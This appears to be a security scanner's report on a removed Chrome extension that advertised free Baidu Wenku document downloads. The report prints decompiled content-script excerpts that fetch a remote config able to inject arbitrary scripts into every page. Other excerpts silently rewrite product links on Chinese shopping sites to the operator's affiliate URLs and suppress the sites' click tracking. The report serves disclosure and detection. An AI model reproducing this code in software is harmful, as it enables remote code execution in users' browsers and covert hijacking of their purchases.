百度文库免费下载

ID: imjoocoajfjgnabmlbgpcnpieibibhmd

Could be malicious

Supported Languages

🇨🇳Chinese (Simplified)

Extension Info & Metadata

Status
Removed
Version
1.0.12
Size
0.18 MB
Rating
3.9/5
Reviews
56
Users
60,000
Type
Extension
Updated
Nov 28, 2020
Category
7_productivity
Price
Free
Featured
No
Visibility
Listed
Mature
No
By Google
No
Trusted
No

Publisher Contextual Analysis

Author
djradarView Profile
MX records exist
Yes
Domain exists
Yes
Is disposable
No
Is role-based
No
Mailbox exists
Yes
Total Extensions
11
Active
0
Obsolete
11
Listed
10
Unlisted
1
Total Users
87,853

百度文档免下载券免费下载,可以导出PDF文字和图片,能屏蔽文档中的广告,支持Word、PPT、PDF文档

只要能试读的页面都能下载到,能分页下载完整的文档,非常稳定可靠。

Item
Type
Severity
Description
*://*/*
Permission
Critical
This permission grants access to all websites without restriction. Rated High because it can access any web content, monitor all web activity, and potentially steal sensitive data across all sites.
Contextual Risk Factors
Risk Factor
High
The following context increases the overall risk:• 15% increase: Older manifest version lacks modern security controls
storage
Permission
Medium
This permission allows storing data locally in the browser. Rated Medium because it can persist sensitive user data, track user activities over time, and potentially store malicious payloads.
Older Manifest Version
Risk Factor
Medium
This extension uses Manifest Version 2

The extension fetches a remote configuration from `https://i.wuhaolin.cn/c/config` on every page load (if the cached config is more than 24 hours old). After storing the config, it checks `i.script` — if the remote server ever populates this field with a URL, a `<script>` element is injected into the `<body>` of every page the user visits. The `script` property is currently empty in the baked-in default config, but the remote operator can flip it at any time without a Chrome Web Store update, giving them persistent arbitrary-code execution in the browser on all sites.

js/content_script.js (Line 21836)
function s() {  return Object(r.b)(this, void 0, void 0, (function() {    var e, t;    return Object(r.c)(this, (function(n) {      switch (n.label) {        case 0:          return n.trys.push([0, 3, , 4]), [4, fetch("https://i.wuhaolin.cn/c/config")];        case 1:          return [4, n.sent()            .json()          ];        case 2:          return e = n.sent()            .data, chrome.storage.local.set({              cps_config: JSON.stringify(e),              cps_updated: Date.now()            }), [3, 4];        case 3:          return n.sent(), [3, 4];        case 4:          return i.script && ((t = document.createElement("script"))            .src = i.script, document.body.appendChild(t)), [2]      }    }))  }))}

Module 4 hard-codes the extension's affiliate-link-injection configuration: a map of Chinese e-commerce domains (jd.com, jd.hk, taobao.com, tmall.com, tmall.hk, suning.com) with product-ID-extraction regexes, and the affiliate API endpoint `https://i.wuhaolin.cn/c/url`. This config is the foundation of the hidden monetization behavior — completely undisclosed to users and unrelated to the advertised Baidu Wenku download functionality.

js/content_script.js (Line 209)
e.exports = JSON.parse(  '{"h":{"jd.com":{"item.jd.com":"^https?://item\\\\.jd\\\\.com/(\\\\d+)\\\\.html"},"jd.hk":{...},"taobao.com":{...},"tmall.com":{...},"suning.com":{...}},"cpsApi":"https://i.wuhaolin.cn/c/url","script":""}')

When a user scrolls a supported e-commerce page, the extension queries the operator's affiliate API (`https://i.wuhaolin.cn/c/url`) with the product name, product ID, and source site. The returned URL becomes the replacement `href` for every matching product link on the page. This silently routes user purchases through the operator's affiliate tracking, monetising user shopping activity without consent or disclosure.

js/content_script.js (Line 21905)
return t = e.name, n = Object(r.d)(e, ["name"]), [4, fetch(l.cpsApi + "?" + (s = Object(r.a)  (Object(r.a)({}, n), {    q: t,    v: f.a  }), u = [], Object.keys(s)  .forEach((function(e) {    null != s[e] && u.push(encodeURIComponent(e) + "=" + encodeURIComponent(s[e]))  })), u.join("&")))];case 1:  return i = a.sent(), o = e, [4, i.text()];case 2:  return o.cpsUrl = a.sent(), [2]

All anchor elements whose `href` matches a product URL pattern on targeted e-commerce sites are mutated: their `href` is replaced with the affiliate redirect URL, `rel` is set to `noreferrer` to obscure the referrer chain, the original `onclick` is cleared, and click propagation is suppressed so the site's own analytics cannot observe the click. This is a classic affiliate-link-hijacking implementation that generates revenue for the extension operator from every user purchase.

js/content_script.js (Line 22006)
document.querySelectorAll("a[href*='" + n + "']")  .forEach((function(t) {    var n = t.href,      o = r.exec(n);    o && 2 == o.length && (i[n] ? i[n].links.push(t) : i[n] = {      from: e,      id: o[1],      links: [t]    })  })), Object.keys(i)  .forEach((function(e) {    var t = i[e];    g({      url: e,      id: t.id,      from: t.from,      links: t.links    })  }))  ...  n && t.forEach((function(e) {        return function e(t, n) {            var r = t.getAttribute("href");            t.href = n, t.rel = "noreferrer", t.onclick = function() {}, t              .addEventListener("click", (function(e) {                e.stopPropagation()              }), !0)

By severity

Critical1
High3
Medium0
Low0

Versions scanned

Showing 1 of 4 scanned versions with more than one unique finding. Counts are unique findings that include each version.

Extension VersionCode Review Findings
1.0.124

Files with findings

1 distinct path — top paths by unique finding count:

  • js/content_script.js4
S.No.
Category
Severity
File
Summary
Found in Version
1Remote Code Loading
critical
js/content_script.js (line 21836)The extension fetches a remote configuration from `https://i.wuhaolin.cn/c/config` on every page load (if the cached config is more than 24 hours old). After storing the config, it checks `i.script` — if the remote se…
2Data Exfiltration
high
js/content_script.js (line 22006)All anchor elements whose `href` matches a product URL pattern on targeted e-commerce sites are mutated: their `href` is replaced with the affiliate redirect URL, `rel` is set to `noreferrer` to obscure the referrer c…
3Tracking
high
js/content_script.js (line 21905)When a user scrolls a supported e-commerce page, the extension queries the operator's affiliate API (`https://i.wuhaolin.cn/c/url`) with the product name, product ID, and source site. The returned URL becomes the repl…
4Unauthorized Data Collection
high
js/content_script.js (line 209)Module 4 hard-codes the extension's affiliate-link-injection configuration: a map of Chinese e-commerce domains (jd.com, jd.hk, taobao.com, tmall.com, tmall.hk, suning.com) with product-ID-extraction regexes, and the …
URLs
43
IPv4
0
IPv6
0

URLs

View the external URLs this extension communicates with to understand its network activity and data interactions.

Gain full insight into all external connections.

Upgrade for full visibility.

sizzlejs.com-https://sizzlejs.com/
js.foundation-https://js.foundation/
jquery.com-https://jquery.com/
jquery.org/licensehttps://jquery.org/license
github.com/jamesbrobbhttps://github.com/jamesbrobb
opensource.org/licenses/mit-licensehttp://opensource.org/licenses/mit-license
github.com/BiggA94https://github.com/BiggA94
github.com/juanpgaviriahttps://github.com/juanpgaviria
github.com/diegocrhttps://github.com/diegocr
github.com/danielhusarhttps://github.com/danielhusar
Showing 1 to 10 of 50 rows
Rows per page:

Gain full insight into all external connections.

Upgrade for full visibility.

No IP addresses found
Showing 1 to 4 of 10 rows
Rows per page:

Code Diff

Compare extension code between any two versions.

0 changed files (scanned top 25 shared text files)

No comparable text files found between these versions.

Browse and explore files within this extension package

Gain full insight into all external connections.

Upgrade for full visibility.